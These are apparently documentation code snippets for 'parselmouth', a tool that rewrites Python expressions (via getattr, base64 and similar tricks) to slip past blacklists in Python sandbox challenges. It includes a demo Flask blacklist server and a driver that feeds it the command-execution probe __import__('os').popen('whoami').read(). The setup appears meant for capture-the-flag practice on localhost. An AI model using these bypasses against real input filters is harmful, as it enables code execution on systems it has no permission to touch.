1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32

class P9H(ast._Unparser):
    ...
    def visit_Attribute(self, node):
        def _by_raw():
            self.set_precedence(ast._Precedence.ATOM, node.value)
            self.traverse(node.value)
            # Special case: 3.__abs__() is a syntax error, so if node.value
            # is an integer literal then we need to either parenthesize
            # it or add an extra space to get 3 .__abs__().
            if isinstance(node.value, ast.Constant) and isinstance(
                node.value.value, int
            ):
                self.write(" ")
            self.write(".")
            self.write(node.attr)
        return self.try_bypass(
            dict(
                bypass_tools.Bypass_Attribute(
                    BLACK_CHAR,
                    node,
                    useless_func=self.useless_func,
                    depth=self.depth,
                ).get_map(),
                **{"by_raw": _by_raw},
            ),
            node,
        )
    ...

1
2
3
4
5
6
7
8
9
10
11

class Bypass_Attribute(_Bypass):
    def __init__(self, *args, **kwargs):
        super().__init__(*args, **kwargs)
        self.node._value = [getattr(self.node, "value"), getattr(self.node, "attr")]
    @recursion_protect
    def by_getattr(self):
        return self.P9H(
            f"getattr({self.P9H(self.node._value[0]).visit()}, {repr(self.node._value[1])})",
        ).visit()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43

def get_stack():
    used_funcs = []
    stack = inspect.stack()
    for frame_info in stack:
        # 获取当前层的上下文信息
        frame = frame_info.frame
        arg_info = inspect.getargvalues(frame)
        class_name = ""
        if "self" in frame.f_locals:
            class_name = frame.f_locals["self"].__class__.__name__
        # 打印调用链中的函数名和参数
        used_funcs.append(
            (
                class_name,
                frame_info.function,
                {k: arg_info.locals[k] for k in arg_info.args},
            )
        )
    return used_funcs
def recursion_protect(func):
    @functools.wraps(func)
    def _protect(self):
        stack = []
        for s in get_stack():
            if not s[1].startswith("by_"):
                continue
            stack.append((s[0], s[1], s[2]["self"].node._value))
        if (self.__class__.__name__, func.__name__, self.node._value) in stack:
            # 本轮调用的 函数+参数 在调用链之前就出现过
            # 说明不同的 bypass 函数之间出现了循环依赖
            # 这个时候应该舍弃掉这个 bypass 函数
            return None
        return func(self)
    return _protect

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

import parselmouth as p9h
import bypass_tools
@bypass_tools.recursion_protect
def by_base64(self):
    return self.P9H(
        f'__import__("base64").b64decode({__import__("base64").b64encode(self.node._value.encode())})'
    ).visit()
bypass_tools.Bypass_String.by_base64 = by_base64
bypass_tools.Bypass_String.by_base64.__qualname__ = "Bypass_String.by_base64"
p9h.BLACK_CHAR = ["mac", "::", 'by_char', "bytes", "chr", "dict"]
runner = p9h.P9H("'macr0phag3'", specify_bypass_map={"white": {"Bypass_String": ["by_base64"]}}, versbose=2)
result = runner.visit()
status, c_result = p9h.color_check(result)
print(status, c_result, result)

1
2
3
4
5
6
7

def check(payload):
    if isinstance(payload, ast.AST):
        payload = ast.unparse(payload)
    # self.cprint(f"检查是否命中黑名单: {payload}", level="debug")
    return [i for i in BLACK_CHAR if i in str(payload)]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29

import ast
import time
import requests
import parselmouth as p9h
def check(payload):
    if isinstance(payload, ast.AST):
        payload = ast.unparse(payload)
    # self.cprint(f"检查是否命中黑名单: {payload}", level="debug")
    result = requests.post(
        "http://127.0.0.1:5000/challenge",
        json={
            "exp": payload,
        }
    ).text
    time.sleep(0.1)  # 防止过快导致 DoS
    if "hacker" in result:
        return [result]
    else:
        return []
p9h.check = check
runner = p9h.P9H("__import__('os').popen('whoami').read()", versbose=2)
result = runner.visit()
status, c_result = p9h.color_check(result)
print(status, c_result, result)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27

from flask import Flask, request, jsonify
app = Flask(__name__)
@app.route("/challenge", methods=["POST"])
def check_exp():
    data = request.json
    exp = str(data.get("exp"))
    if exp is None:
        return jsonify({"error": "Missing 'exp' parameter"}), 400
    forbidden_chars = ["'", '"', ".", "popen"]
    # 检查 'exp' 中是否含有不允许的字符
    for char in forbidden_chars:
        if char in exp:
            return jsonify({"error": f"hacker!"}), 400
    # 如果检查通过，则返回确认信息
    return jsonify({"message": "Expression is valid"}), 200
if __name__ == "__main__":
    app.run(debug=True)